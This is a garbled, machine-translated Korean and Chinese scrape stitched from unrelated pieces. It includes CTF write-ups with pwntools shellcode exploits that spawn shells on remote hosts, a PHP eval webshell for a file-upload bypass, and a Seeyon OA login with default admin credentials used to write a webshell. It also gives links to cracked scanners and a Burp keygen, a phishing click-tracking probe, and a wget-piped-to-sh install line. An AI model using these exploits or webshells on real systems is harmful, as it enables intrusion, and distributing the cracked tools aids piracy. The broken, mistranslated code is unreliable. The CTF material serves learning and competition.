Content-Type: Application/X-WWW-FORM-URLENCODED

인코딩 : GZIP를 인코딩합니다

userAgentFrom=XXLOGIN_USERNAME=AUDIT-ADMINLOGIN_PASSWORD=SEEYON123456

쿠키를 얻은 후에는 패치의 최신 배경 구멍을 사용하여 심도있게 사용할 수 있습니다. 이번에는 카피 파일 배경 구멍을 사용하십시오.

그러나 실제 전투 후, 나는이 허점에 약간의 함정이 있었고 웹 쉘에 글을 쓸 때 오류가보고되었습니다.

post /seyon/ajax.do?method=ajactionmanagername=portalcssmanagerrnd=111 http/1.1

accept: */*

컨텐츠 -type: Application/x-www-form-urlencoded; charset=utf-8

컨텐츠 길이 : 70

Host: 192.168.91.17

Connection: 유지-알리

user-agent: apache-httpclient/4.5.13 (Java/1.8.0_321)

accept-encoding: gzip, deflate

인수=%5b%22

1. 데이터 보안 질문

1 .as

예와 질문을보고 쓰기 Exp

def pell_recurrence (x1, y1, x, y, d) :

x_next=x1 * x + d * y1 * y

y_next=x1 * y + y1 * x

x_next, y_next를 반환합니다

#믿다

def generate_until_threshold (x1, y1, d, 임계 값) :

x, y=1, 0

솔루션=[(x, y)]

반복=0

True:

x, y=pell_recurrence (x1, y1, x, y, d)

반복 +=1

Solutions.Append ((X, Y))

x 임계 값과 y 임계 값인 경우

부서지다

반품 솔루션, 반복, (x, y)

################################################### #######################################################################################YOUMYYM

def main () :

D=42232

X1, Y1=10863430363390444672094671043496198963286006933268451418419427752345999, 52862312812076818203801374519259164308207980652808243827880652144787200

임계 값=2 **0x149f

솔루션, 반복, last_solution=generate_until_threshold (x1, y1, d, 임계 값)

print (f 'x={last_solution [0]}')

print (f 'y={last_solution [1]}')

n1=(Last_Solution [0] -1) //2

n2=last_solution [1]

인쇄 (N1)

인쇄 (N2)

__name__=='__ 메인 __': 인 경우

main () image-20250403151324146

N1=6484456464385494958985160233577839841735795804473541907965865471825503785272678822222223754144416 5172555010268946547371838387582496807783872409495175343418420178605123847893899093406677173844538 634240765920500106813530272923710062024324879910469788878708717896042881627844174314231125376214954 191547729867576758551671299193867007260053941673833333312842542794986302553731384956828280106931847810 5747928749942182896044998865749248512370269452313096224318388047216423763541300420337417782206304 4408922159647529108936153248709307757583423432206558845108059414461593855011448692345628664306 83959981553165969134977744797440777424234381471672458781349375368354137657751284194009683337 897606497230343157092891975885033309810185295961357191249517789616682247175593069461888888888813 059885471926155737315230514752046521202893304056240282834692548759885970543898301236709193423 0242946589463785934444443029018424523547397999999943751900954643195971492238007190552442974382991653088 94827406935888888888888947780910754797043403338315077248175845012048361045898033382579417081596422 21431364092087627932238340345061520303793480769731939908956253484222391138185162719396503715138316 61159295598370595261204299608982637315116533642003066669261874318917777777511599010768666767007935738 23935662067654373217132550909022471458326286291025447386537438528458980011935439932582958912 542652555558695373047067726351358183876589163636096276667169682852304974550725035557641675806757 3954596043890492834784253219485112525030553753092423333264250758350828806805623873239302114836480000

N2=6310775778373158072121506050012120110110737000921159830860487405951913977629845084436128491344735820 400264903056115667281579073327945532438949038244192826523764101532018565743490392509759609697887 88325444231817568932630406378290843956256970846735492761586936928880019298918917442234446613339985 3927778347597501992783349577759948389598413174615232愚人节340208973243584337320359607836900037507 801983941584013345449804347344405786017144561862888858206999995555557864335810426614970929579975227 4011822253828253846093465289623440363883250259046741321911200142678063796240523447461120883480 9003855546323206318760733316353796062046207210640529484343373700073814417337348039530722450965823938 028647293309243825273560981374529318529342514017856189789915212062470755198888904264788869371756843 8766117594474482828255975342557814885279693013920359743897278354653848976322146722301616470057230 068271661333034555567071000363844315811357274703954155522493794845091481848371069289334733846351 3562506182502826257198176485230753980573080357918135532017187134962666791602751075678752308935413 19068679146341573352252143049354837544407433056725122793002161618380935544441531642048116980907626 42324815609182517988506268150630360407065284691305601280740083579032479034947212812440317249494943 3411188350035978075888936279816925317068991219980838476317761440997387670316498292979999928354912 238925949073238723303504957174689978086401613054702477445158411519923503718585827273942555857158966 004358344039029898799405479632695043708918494502587524196559584122132413440460209140828413581600

NC 연결 제출

image-20250403151353410

username3:admin-jm password:jm001x를 얻으십시오!

FLAG:

MD5 (admin-JM+JM001X!)

image-20250403151635504

또는:

#SAGE 9.5

crypto.util.number import *에서 *

PWN 가져 오기 *

SYS 가져 오기

sys.set_int_max_str_digits (0)

DEF 상호 작용 (IO, X, Y) :

io.recvuntil (b': ')

io.sendline (b'2 ')

io.recvuntil (b'n1 ~ ')

io.sendline (str (x) .encode ())

io.recvuntil (b'n2 ~ ')

io.sendline (str (y) .encode ())

io.recvline ()

반환 io.recvline ()

D=42232

Check=2 **0x149f

def solve_pell (n) :

cf=conayd_fraction (sqrt (n))

i=0

WHILETRUE:

I +=1

Denom=cf.denominator (i)

숫자=cf.numerator (i)

if (((숫자 -1) //2)=check) 또는 (Denom=Check) :

계속 계속하십시오

숫자^2 -n * delom^2==1: 인 경우

x, y=int ((숫자 -1) //2), int (denom)

RES=상호 작용 (io, x, y)

ifb'sorry'in res:

계속 계속하십시오

반환 해상도

IO=원격 ('47 .117.41.252 ','33410 ')

context.log_level='디버그'

RES=SOLVE_PELL (D)

인쇄 (RES)

io.interactive ()

#b'verify success! 사용자 이름 [admin-jm], 당신의 비밀번호 [jm001x!] ~ 'Final Flag:

B7133D84297C307A92E70D7727F55CBC

2.SCSC

제목 설명 :

프로그램 취약점을 사용하여 info_sec 파일에서 데이터 정보를 얻고 11 행, 열에서 데이터를 제출하십시오.

질문의 프로세스 : SCSC Binary 파일을 얻었을 때 정적으로 컴파일되었고 라이브러리 기능이없고 기호 테이블이 없어서 이름이없는 라이브러리 기능이 없음을 발견했습니다.

여기서 우리는 역 기술을 사용합니다. 일부 기호 테이블을 복원하는 세 가지 방법이 있습니다.

다른 버전의 SIG 파일을 사용하고, Bindiff 사용을 복원하고, 다른 LIBC 파일을 사용하고, 라이브러리 기능의 기계 코드를 비교하고 지문 플러그인을 사용하여 기능 이름을 복원하십시오 (인터넷에 연결해야 함). 개인적으로 가장 이상적인 효과는 지문 플러그인이라고 생각합니다. 이 게임은 끊임없이 온라인 상태이므로 사용합니다. 그것은 LIBC를 인식 할뿐만 아니라 그것 없이는 C ++ 라이브러리를 사용했다는 것을 모르겠습니다. 여기서 우리는 회복 후 효과를 보여줍니다

이 프로그램은 AES 암호 해독 함수 세트 Shellcode Executor이며 일부 가시 문자를 비활성화합니다. 문자를 필터링하지 않고 Shellcode를 암호화하고 전송해야합니다.

다음은 ShellCode를 사용하여 읽기를 작성하고 점프 한 다음 일반 쉘 코드를 입력하는 가장 쉬운 방법입니다. 여기에서 보이는 문자 필터링은 "SH"및 다양한 64 비트 레지스터 작업을 제한합니다. 그래서 32 비트 레지스터를 사용하여 쉽게 우회하고 SYS_READ를 켜고 ShellCode를 주입, GetShell을 사용했습니다.

PWN 가져 오기 *

std_pwn 가져 오기 *

Crypto에서 Cipher Import AES에서

crypto.util.padding 가져 오기 패드

DefgetProcess (IP, 포트, 이름) :

글로벌 p

iflen (sys.argv) 1 및 sys.argv [1]=='r':

P=원격 (IP, 포트)

반환 p

else:

p=프로세스 (이름)

반환 p

SL=LAMBDA X: P.SENDLINE (X)

SD=Lambda x: P.Send (X)

SA=Lambda X, Y: P.SendAfter (X, Y)

SLA=LAMBDA X, Y: P.Sendlinter (x, y)

RC=Lambda X: P.RECV (X)

rl=lambda: p.recvline ()

ru=lambda x: p.recvuntil (x)

ita=lambda: p.interactive ()

SLC=LAMBDA: ASM (Shellcraft.sh ())

uu64=lambda x: u64 (x.ljust (8, b '\ 0'))

UU32=Lambda x: U32 (x.ljust (4, b '\ 0'))

# Return SL, SD, SA, SLA, RC, RL, RU, ITA, SLC, UU64, UU32

defaes_ecb_encrypt (PlainText) :

인쇄 (일반 텍스트)

C inb'0Moyhjlcit1zkbnrnchag':의 경우

일반 텍스트 3: 인 경우

print (f '{chr (c)} in in it!')

# 육각형 문자열 키를 바이트로 변환합니다

키=B'862410C4F93B77B4 '

# AES 암호화를 만듭니다

cipher=aes.new (key, aes.mode_ecb)

# 일반 텍스트를 채우고 암호화하십시오

padded_plaintext=pad (PlainText, aes.block_size)

ciphertext=cipher.encrypt (padded_plaintext)

# ciphertext를 16 진수 문자열로 변환하고 반환합니다

Ciphertext를 반환하십시오

shellcode='' '

RSP를 푸시하십시오

팝 RSI

Mov Edi, 0

Mov EDX,0xff

RDI를 푸시하십시오

팝 락스

SYSCALL

JMP RSP

'' ''

# 01ayhcjitkbn molznrchg

p=getProcess ('47 .117.42.74 ', 32846,'./scsc ')

Context (os='linux', arch='amd64', log_level='debug', terminal=[ 'tmux', 'splitw', '-h']))).

ELF=ELF ( './SCSC')

GDBA ()

페이로드=ASM (ShellCode)

SA ( 'Magic Data:', AES_ECB_ENCRYPT (ASM (ShellCode))))

SL (ASM (Shellcraft.sh ()))

ita () 또는

#!/usr/bin/env python3

PWN 가져 오기 *

context.log_level='디버그'

context.arch='amd64'

# io=프로세스 ( './SCSC')

IO=원격 ('47 .117.41.252 ', 33414)

shellcode='' '

XCHG R8, RAX

XCHG R8, RSI

서브 edi, edi

Mov EDX,0x99

서브 eax, eax

SYSCALL

'' ''

payload1=asm (shellcode)

print ( 'shellcode=', payload1.hex ())

Payload1=bytes.fromHex ( 'e29ACA48E52D1D59C539C172262E56C7AEAE3B0EBB4E872FA01F84506AD7C26')

payload2=b '\ x90'*len (payload1) + asm (shellcraft.sh ())

# gdb.attach (io)

io.sendlinter (b'magic data: ', payload1)

정지시키다()

io.send (payload2)

io.interactive ()

3. ez_upload

제목 설명 :

이 질문에는 테스트 질문에 대한 첨부 파일이 없습니다. 첨부 파일 다운로드 버튼을 무시하십시오! 서버는 암호화 된 데이터에 대해 RSA 키 파일을 저장합니다. 관리자는 서버 사이트를 유지 관리 할 때 취약한 테스트 사이트를 제 시간에 수리하지 않았습니다. RSA 키가있는 경로를 제출하십시오 (제출 스타일 : 파일이있는 경로가 /var /www 인 경우 제출 답변은 /var /www).

문제 절차 :

예비 아이디어, 말을 전달하고, getshell을 통과 한 다음 RSA와 관련된 파일을 찾으십시오.

HTML과 PHP는 모두 WAF에 의해 떨어집니다. 접미사는 파일 내용을 감지하는 데 사용될 수 있습니다.

Content-Type: Text/Html waf this

접미사는 wafed, html, php,htaccess, '. php', '. php5', '. php4', '. php3', '. php2', '. html', '. htm', '. pht', '. p ht ','. php ','. php5 ','. php4 ','. php3 ','. php2 ','. html ','. htm ','. phtml,user.ini

이렇게하지 않습니다. 그러나 phtml 접미사의 에코는이 맥락이 아닙니다.

PHP7.2 이상, HTACCESS 파일을 구성해야합니다

PNG 2 렌더링이 아닙니다

미들웨어는 아파치이며 취약성을 해결합니까?

파일 내용이 확인되고 PHP를 포함하는 컨텐츠는 WAF에 의해 삭제됩니다.

성공적으로 말을 통과했습니다

?=@eval ($ _ post [ 'cmd']);Image

RSA 키를 찾는 경로는/var/www/rssss4a입니다

Image

4. 데이터 공개 및 개인 정보 보호

제목 설명 :

홍보 부서의 기술 지원 직원으로서, 과도한 데이터 탈감작으로 인해 뛰어난 자원 봉사자를 공개적으로 칭찬하는 활동을 수행 할 때 개인 정보를 정확하게 식별 할 수 없어

여러 자원 봉사자들이 정보에 대해 혼란스러워합니다. 첨부 파일에서 《题目说明文档》의 작업 요구 사항에 따라 문제를 해결하십시오.

문제 절차 :

항목 :open 파일 - 테이블 Base64 암호화 - 시간 ()을 사용하여 의사 랜덤 배열 생성 - exoor 암호화 - 새 파일에 쓰기

0x01 도구 사용

도구의 다운로드 주소 및 설치 방법은 각 도구를 도입 한 후에 배치됩니다. 필요한 경우 직접 다운로드 할 수 있습니다.

1.awvs 도구

AWVS 소개 :

ACUNETIX 웹 취약점 스캐너 (AWVS)는 웹 응용 프로그램의 보안을 테스트하고 관리하는 데 사용되는 플랫폼입니다. 취약점을 위해 인터넷 또는 로컬 LAN을 자동으로 스캔하고 취약점을보고 할 수 있습니다. 액세스하고 HTTP/HTTPS 규칙에 따라 액세스 한 웹 사이트를 스캔 할 수 있습니다. 중소형 및 대기업을위한 고객, 직원, 공급 업체 및 기타 직원을위한 인트라넷, 외부 네트워크 및 웹 사이트. AWS는 SQL 주입 공격 취약점, XSS 크로스 사이트 스크립팅 취약점 등을 확인하여 웹 애플리케이션의 보안을 검토 할 수 있습니다. AWVS 기능 및 기능 : 1) 자동 클라이언트 스크립트 분석기, AJAX 및 Web2.0 응용 프로그램의 보안 테스트를 허용합니다.

2) 업계에서 가장 진보되고 심층적 인 SQL 주입 및 크로스 사이트 스크립팅 테스트

3) HTPP 편집기 및 HTTP 퍼지와 같은 고급 침투 테스트 도구

4) Visual Macro Recorder

5) CAPTHCA, 단일 시작 명령 및 2 요인 (2 요인) 검증 메커니즘이 포함 된 지원 페이지

6) 비자 PCI 준수보고를 포함한 풍부한보고 기능

7) 고속 멀티 스레드 스캐너는 수천 페이지를 쉽게 검색합니다

8) Intelligent Crawler는 웹 서버 유형 및 응용 프로그램 언어를 감지합니다.

9) Acunetix는 플래시 컨텐츠, 비누 및 Ajax를 포함한 웹 사이트를 검색하고 분석합니다.

10) 포트는 웹 서버를 스캔하고 서버에서 실행중인 네트워크 서비스에서 보안 검사를 수행합니다.

11) 웹 사이트 취약성 파일을 내보낼 수 있습니다

AWVS 도구 설치 자습서 주소 : https://blog.csdn.net/shandongjiushen/article/details/128377981

AWVS 도구 크랙 버전 다운로드 주소 (Baidu Netdisk) 링크 : https://pan.baidu.com/s/1kayuhishgujozphx41cqsq 추출 코드 : QBE0

2. AppScan 도구

AppScan 소개 :

AppScan은 보안 전문가 및 테스터를 위해 특별히 설계된 동적 응용 프로그램 보안 테스트 도구입니다. 이를 통해 사용자는보다 안전한 소프트웨어를 개발하고 개발 수명주기 후반에 비싼 취약점을 효과적으로 피할 수 있습니다. 이 소프트웨어에는 강력한 스캐닝 엔진이 내장되어있어 대상 응용 프로그램 및 테스트 취약점을 자동으로 크롤링 할 수 있으며, 테스트 결과는 우선 순위로 제시되므로 운영자가 문제를 더 빠르게 분류하고 가장 중요한 취약점을 가장 먼저 발견 할 수 있습니다. 동시에, AppScan은 사용자에게 명확하고 실현 가능한 수리 제안을 자동으로 제공하여 각 발견 된 문제를보다 쉽게 치료할 수 있습니다. 또한이 소프트웨어에는 웹 응용 프로그램, 웹 서비스 및 모바일 백엔드 테스트를 지원하는 포괄적 인 보안 테스트 제품군이 있으며 운영 기반의 독점 기술 및 수만 건의 내장 스캔을 사용하여 지속적으로 검사하여 웹 서비스 및 애플리케이션에 대한 위험 점검 및 평가가 파괴적인 보안 취약성을 방지 할 수 있습니다. AppScan 기능 소개 : 1) 활성 및 수동 스캐닝 AppScan은 활성 및 수동 스캐닝 기술을 지원합니다. 활성 스캐닝 모드에서 공격자의 동작을 시뮬레이션하고 악의적 인 요청을 보내고 공격 페이로드를 보내고 XSS (XSS), SQL 주입, CSRF (Cross-Site Requess) 등의 알려진 웹 취약점을 발견하여 수동 스캔 모드에서 APPSCAN은 응용 프로그램의 통신 및 인터랙션 프로세스, 분석 및 반응을보고, 그리고 반응 및 반응을보고, 및 반응 및 반응을 보게됩니다.

2) 웹 응용 프로그램 및 모바일 애플리케이션 스캔 지원 AppScan은 웹 애플리케이션 스캔 및 모바일 애플리케이션 보안 평가에 적합합니다. 웹 애플리케이션의 경우 AppScan은 XSS, SQL 주입, 민감한 정보 유출 등과 같은 일반적인 웹 취약점을 자동으로 발견하고 평가할 수 있습니다. 모바일 응용 프로그램의 경우 AppScan은 응용 프로그램의 이진 코드를 분석하고 응용 프로그램에서 취약성 및 보안 문제를 발견 할 수 있습니다.

3) 침투 테스트 지원 AppScan은 침투 테스트 지원을 제공합니다. 즉, 취약성 스캔 도구 일뿐 만 아니라 테스트를위한 실제 공격을 시뮬레이션 할 수 있습니다. 침투 테스트는 복잡한 취약점 및 비즈니스 논리 문제에 대한 심층 테스트 기능을 감지하기 어려운 일부 취약점을 발견하는 데 도움이 될 수 있습니다.

AppScan 도구 설치 자습서 주소 : https://blog.csdn.net/qq_39720249/article/details/121248901

AppScan 도구 크랙 버전 다운로드 주소 (Baidu Netdisk) : https://pan.baidu.com/s/1unazbfwyvevzuqpc1eqaba 추출 코드 : IME6

3. 야키 도구

Yakit 소개 :

YAK는 네트워크 보안의 기본 기능 통합에 전념하는 세계 최초의 수직 개발 언어로 매우 강력한 보안 기능을 제공합니다. Yak은 대부분의 "데이터 설명 언어/컨테이너 언어"의 슈퍼 세트입니다. 모든 GO 기능 및 라이브러리 생태계, VSCODE 플러그인 등이 있습니다. 구문은 사용자 정의 가능합니다. 그것은 완전히 국내 튜링-완성 스크립팅 언어입니다. 포트 스캐닝, 지문 인식, POC 프레임 워크, 쉘 관리, MITM 납치, 강력한 플러그인 시스템 등을 포함하여 다양한 기본 보안 기능을 제공합니다. Yakit은 YAK 언어를 기반으로 개발 한 사이버 보안 개별 도구입니다. Yak 사용 형식으로 인해 사용자는 Yak 언어를 배우고 동시에 보안에 대한 특정 이해를 가져야합니다. Yak의 자체 보안 기능을 모든 사람이 쉽게 받아들이고 사용할 수 있도록하기 위해 Yak을위한 GRPC 서버를 작성하고 클라이언트를 구축했습니다. Yakit은 모든 사람이 인터페이스 GUI를 통해 Yak을 사용할 수있는 임계 값을 낮 춥니 다. Yakit 기능 (너무 많은 기능)에 대한 간단한 소개 : Yakit은 Yak 언어 보안 기능을위한 고도로 통합 된 출력 플랫폼입니다. Yakit을 사용하면 다음을 수행 할 수 있습니다.

1) Burpsuite와 유사한 MITM 납치 작업 테이블

2) 납치 된 모든 요청의 기록을보고 요청의 매개 변수를 분석합니다.

3) 세계 최초의 시각적 웹 퍼즐 도구 : 웹 퍼저

4) Yak Cloud Ide : 내장 된 스마트 프롬프트가있는 Yak Language Cloud IDE

5) ShellreCeiver : 리바운드 대화식 쉘 방지 연결을 받으려면 TCP 서버를 켜십시오.

6) 타사 야크 모듈 상점 : 커뮤니티 주도 타사 야크 모듈 플러그인, 원하는 모든 것이 있습니다.

7.

Yakit 도구 설치 자습서 주소 : https://blog.csdn.net/m0_60045654/article/details/134645164

Yakit 도구 다운로드 주소 : https://yaklang.com/

4. 버프 스위트

버프 스위트 소개 :

Burp Suite는 웹 애플리케이션을 공격하기위한 통합 플랫폼입니다. Burp Suite는 웹 응용 프로그램을 공격하기위한 통합 플랫폼이며 많은 도구를 포함합니다. Burp Suite는 이러한 도구를위한 많은 인터페이스를 설계하여 응용 프로그램을 공격하는 프로세스를 가속화합니다. 모든 도구는 요청을 공유하며 해당 HTTP 메시지, 지속성, 인증, 프록시, 로그 및 경고를 처리 할 수 있습니다. Burp Suite 도구의 기능 소개 : 1) Target (Target) —— 대상 디렉토리 구조의 함수를 표시합니다.

2) 프록시 (프록시) ——는 HTTP/S 프록시 서버를 가로 채어 브라우저와 대상 응용 프로그램 사이의 중개자 역할을하여 원래 데이터 흐름을 양방향으로 가로 자르고,보기 및 수정할 수 있도록합니다.

3) Spider (Spider) ——는 지능형 감지 웹 크롤러를 사용하여 응용 프로그램의 내용과 기능을 완전히 열거 할 수 있습니다.

4) 스캐너 (스캐너) —— 고급 도구 실행 후 웹 애플리케이션에서 보안 취약점을 자동으로 발견 할 수 있습니다.

5) 침입자 (침입자) —— 열거 식별자, 유용한 데이터 수집 및 퍼지 기술을 사용하여 기존의 취약성을 감지하는 것과 같은 웹 애플리케이션을 자동화하는 맞춤형 고도로 구성 가능한 도구.

6) 리피터 (리피터) —— 별도의 HTTP 요청을 트리거하고 응용 프로그램 응답을 분석하기 위해 수동 작업에 의존하는 도구.

7) 시퀀서 (세션) ——는 예측할 수없는 애플리케이션 세션 토큰 및 중요한 데이터 항목의 무작위성을 분석하는 데 사용되는 도구입니다.

8) 디코더 (디코더) ——는 수동 실행 또는 지능적으로 디코딩 및 인코딩 응용 프로그램 데이터 사용자를위한 도구입니다.

9) 비교 (비교) ——는 일반적으로 일부 관련 요청 및 응답을 통해 두 데이터의 시각적 '차이'를 얻습니다.

10) Extender (Extension) ——를 사용하면 Burp Suite Extensions를로드하고 자체 또는 타사 코드를 사용하여 Burp Suite의 기능을 확장 할 수 있습니다.

11) 옵션 (설정) —— BURP 제품군의 일부 설정

BURP Suite Tool 설치 자습서 주소 : https://Blog.csdn.net/m0_60045654/article/details/134645164

버프 스위트 도구 항아리 균열 패키지 : ** https://link.zhihu.com/? target=https%3a //github.com/lzskyline/burploaderkeygen/raw/main/burploaderkeygen.jar

버프 스위트 도구 다운로드 주소 : https://link.zhihu.com/?target=https%3a//portswigger.net/burp/releases/

5. Xray

Xray 도구 소개 :

Xray는 변경 기술에 의해 시작된 강력한 보안 평가 도구입니다. 많은 경험이 풍부한 최전선 보안 실무자들에 의해 만들어졌습니다. 활성 및 수동 스캔 방법을 지원하고 Windows, Linux 및 MACOS와 같은 여러 운영 체제를 지원하며 사용자 정의 POC를 지원합니다.

대상 웹 사이트에서 취약성을 빠르게 감지 할 수 있습니다. 기존 수동 취약성 스캔과 비교하여 Xray는 다음과 같은 장점이 있습니다.

1. 수동 작동의 시간과 에너지를 줄이는 높은 수준의 자동화;

2. 여러 취약성 유형의 스캔을 지원합니다.

3. 분산 배치 지원;

4. 웹 인터페이스 관리를 지원합니다.

Xray Function 소개 : POC 프레임 워크에는 기본적으로 GitHub에 POC가 내장되어 있으며 사용자는 필요에 따라 스스로 빌드 및 실행할 수도 있습니다.

현재 지원되는 취약성 감지 유형은 : 1) XSS 취약성 감지 (key: XSS)

2) SQL 주입 감지 (key: SQLDET)

3) 명령/코드 주입 감지 (key: CMD 주입)

4) 디렉토리 열거 (Key: Dirscan)

5) 경로 교차 감지 (key: 경로 변환)

6) XML 엔티티 주입 감지 (key: XXE)

7) 파일 업로드 감지 (key: 업로드)

8) 약한 비밀번호 감지 (key: Brute-Force)

9) JSONP 감지 (key: JSONP)

10) SSRF 감지 (key: SSRF)

11) 기준선 검사 (Key: 기준선)

12) 임의의 점프 감지 (key: 리디렉션)

13) CRLF 주입 (key: CRLF-injection)

14) Struts2 시리즈 취약성 감지 (Advanced Edition, Key: Struts)

15) ThinkPhp 시리즈 취약성 감지 (고급 버전, Key: ThinkPhp)

16) Xstream 시리즈 취약성 감지 (key: Xstream)

17) POC 프레임 워크 (key: pantasm)

Xray 도구 설치 자습서 주소 : https://blog.csdn.net/weixin_52244272/article/details/132278409

XRAY11 도구 크랙 버전 다운로드 주소 : https://pan.baidu.com/s/1N5LQESVXPK_CGBS7JMFKDA?pwd=AMLJ 추출 코드 : AMLJ

0x02 도구 연결

대상 웹 사이트에서 취약점을 자동으로 스캔하기 위해 5 개의 도구를 연결하기 시작하십시오.

1. AppScan 도구 연결 준비

를 설정하십시오

AppScan 도구 인터페이스를 열고 New-Scan Web Service-Next를 선택하십시오.image.png

선택-AppScan이 포트를 자동으로 선택하게하십시오 (여기에서 선택한 포트 및 주소는 AWVS 에이전트가 듣는 주소 및 포트입니다)-로컬-다른 연결 설정을 구성해야합니다. 다음 단계 image.png

선택 -사용자 정의 프록시 설정 -Address : 127.0.0.1 -포트 : 8083 (여기서 프록시 주소 및 포트 세트는 Yakit의 프록시 청취 주소입니다) --next.image.png

설정할 필요가 없습니다. 다음에 가십시오.image.png

설정하지 않고 다음 단계로 이동하여 마감을 클릭하십시오.image.png image.png

외부 트래픽 레코더를 받고 트래픽이 전달 될 때까지 기다릴 때까지 기다리십시오.image.png

2. Yakit 도구 연결 준비

를 설정하십시오

Yakit 도구 image.png을 시작하십시오

임시 프로젝트 image.png을 엽니 다

침투 테스트 도구-MIMT 대화식 납치 image.png를 선택하십시오

Yakit에는 기본적으로 15 개의 스캔 플러그인이 다운로드된다는 점을 언급하겠습니다. 보다 포괄적 인 수동 스캔 취약점을 원한다면 플러그인 스토어로 이동하여 필요한 플러그인을 다운로드 할 수 있습니다. 한 번의 클릭으로 모든 플러그인을 다운로드 할 수 있지만 스캔은 매우 느립니다. 필요한 것들 중 일부를 다운로드하십시오.image.png

Mimt Interactive 납치로 돌아가 도리 하시도 에이전트 청취 호스트를 설정하십시오. 127.0.0.1, 납치 에이전트 청취 포트는 다음과 같습니다. 플러그인 활성화를 선택하고 왼쪽에서 플러그인을 설정하여 모두를 선택하고 설정 후 구성없는 시작을 선택하십시오 (구성이없는 시작을 선택하는 것이 가장 좋습니다. 그렇지 않으면 Burp Suite 도구를 연결할 때 트래픽이 통과 할 수 없습니다).image.png

나중에 스캔 한 취약점은 여기에 image.png로 표시됩니다

3. Buro Suite Tool

에 대한 연결 준비를 설정하십시오

Burp Suite Tool을 열고-Temporary Project --next를 선택하십시오.image.png

Burp Suite -next의 기본값을 사용하십시오.image.png

설정 image.png를 선택하십시오

프록시를 설정하면 바인딩 프록시 포트는 8080이며 바인딩 주소는 다음과 같습니다. 루프백 만 (프록시 청취 주소 및 포트 세트는 Yakit에서 설정 한 다운 스트림 프록시 주소입니다).image.png

Burp Suite의 상류 프록시를 설정하고 대상 호스트는 다음과 같습니다. * (모든 대상 호스트가 허용됨), 프록시 호스트는 다음과 같습니다. 127.0.0.1, 프록시 포트는 7777입니다.

실시간 작업 추가 image.png

프록시 image.png를 통과하는 모든 트래픽을 수동적으로 스캔하십시오.

내장 된 스캔 동작을 편집합니다.image.png

스캔 유형을 설정하고, 모두를 선택하고, 화력을 켜고, 저장을 클릭하십시오.image.png

확인을 클릭하고 수동 스캔을 설정하십시오.image.png image.png

4. Xray 도구 연결 준비

을 설정하십시오

Xray를 사용하여 포트 127.0.0.133607777 (여기서 듣는 포트는 Burp Suite에서 설정 한 업스트림 프록시), 수동적으로 취약성을 스캔하며 출력 취약점 123.html로 들어갑니다.image.png

0x04 연결 테스트 연결 스캔

모든 준비가 진행 중이며 AWVS 도구를 첫 번째 액세스 스캔 대상 트래픽의 시작점으로 사용하십시오.

1. 인터셉트 트래픽

먼저 Yakit 및 Burp Suite의 트래픽을 납치하여 나중에 트래픽 추세를 볼 수 있습니다.

image.png

image.png

2. AWVS 스캐닝 대상을 설정하십시오

AWVS 스캔 대상을 설정하여 트래픽에 액세스하십시오. 스캔 대상을 추가하고 (이 대상은 승인되었습니다) 저장을 클릭하십시오.

一个好的钓鱼竿和诱饵很重要,但是真正将鱼与渔夫联系起来的是小浮标。

效果预览

当您在河边钓鱼时,您必须使用浮子来知道河里是否有鱼来吃诱饵。同样,当发送电子邮件时,该探测器可以确定目标是否点击了电子邮件,因此不难等待。

背景登录

tz0.png

信息视图

tz1.png

链接生成

此程序通过php中的readfile()函数读取本地图像。如果使用自定义图像,请在公共目录中替换info.png。这里的图片可以使用目标公司的徽标。

tz2.png

配置相关

基于ThinkPhp 6开发

操作环境需要Apache和Php7.1+

数据库文件是mail.sql

数据库和其他配置可以修改为env文件,默认值为

1234567891011121314151617APP_DEBUG=false[APP]DEFAULT_TIMEZONE=Asia/Shanghai[DATABASE]TYPE=mysqlHOSTNAME=127.0.0.1DATABASE=mailUSERNAME=rootPASSWORD=rootHOSTPORT=3306CHARSET=utf8DEBUG=false[LANG]default_lang=ZH-CN背景默认帐户密码(您可以通过修改密码直接替换库中的MD5)

1admin | 123456

下载地址

?username=r00tSe7en&theme=dracula&repo=Mail-Probe

谢谢

@c1y2m3共享想法

Secator是用于安全评估的任务和工作流跑步者。它支持数十种著名的安全工具,旨在提高五旬续和安全研究人员的生产率。

功能

策划的命令列表统一输入选项统一输出架构CLI和库用法分布式选项具有芹菜复杂性,从简单任务到复杂的工作流程可自定义

支持的工具

Secator集成以下工具333660

名称说明类别HTTPX快速http探针。 HTTP Cariddi快速爬行者和端点秘密/API键/令牌匹配器。 http/crawler gau离线URL爬行者(外星库,Wayback Machine,Common Crawl,Urlscan)。 http/crawler gospider快速网络蜘蛛写了。 HTTP/爬行者Katana的下一代爬行和蜘蛛框架。 http/crawler dirsearch Web路径发现。 HTTP/Fuzzer Feroxbuster简单,快速,递归内容发现工具用Rust编写。 http/fuzzer ffuf快速Web Fuzzer用GO编写。 HTTP/Fuzzer H8mail电子邮件OSINT和漏洞狩猎工具。 OSINT DNSX快速而多功能DNS工具包,专为运行DNS查询而设计。 Recon/DNS dns dnsxbrute快速,多功能DNS工具包设计用于运行DNS查询(BruteForce模式)。侦察/DNS子发现器快速子域查找器。侦察/DNS fping在本地网络上找到活着的主机。侦察/IP MAPCIDR展开CIDR范围为IPS。侦察/IP Naabu快速端口发现工具。侦察/端口Maigret在许多网站上寻找用户帐户。侦察/用户GF围绕GREP包装,以避免键入常见模式。标记Grype容器图像和文件系统的漏洞扫描仪。 vuln/code dalfox强大的XSS扫描工具和参数分析仪。 VULN/HTTP MSFCONSOLE CLI访问和使用Metasploit框架。 VULN/HTTP WPSCAN WORDPRESS安全扫描仪使用NSE脚本vuln/多NMAP漏洞扫描仪。基于简单的基于YAML的DSL,vuln/多核快速而定制的漏洞扫描仪。 VULN/MULTI SEERCEPLOIT利用搜索器。开发/搜索可以随意要求通过打开问题添加新工具,但是请检查该工具是否符合我们的选择标准。如果不是,但是您仍然想将其集成到隔离器中,则可以将其插入(请参阅《开发指南》)。

安装

010-110 PIPXPIPX安装serpator pippip安装secator secator bashwget -o -https://raw.githubusercontent.com/freelabz/secator/secator/main/scripts/scripts/scripts/install.sh.sh | SH DockerDocker运行-IT -RM -NET=主机-V〜/.Secator:/root/.secator freelabz/secator -secator -Help -Help卷安装-V对于将所有Secator报告保存到您的主机机器中,并且建议将所有Secator报告保存到您的主机机器中,并建议主机提供对主机网络的全面访问。 You can alias this command to run it easier: alias secator='docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator' Now you can run secator like if it was installed on baremetal: secator --help Docker Composegit clone https://github.com/freelabz/secator

CD Secator

Docker -compose -d

Docker-Compose Execsecator-Secator-Help Note:如果选择Bash,Docker或Docker组成的安装方法,则可以跳过下一部分并直接使用使用。

安装隔离

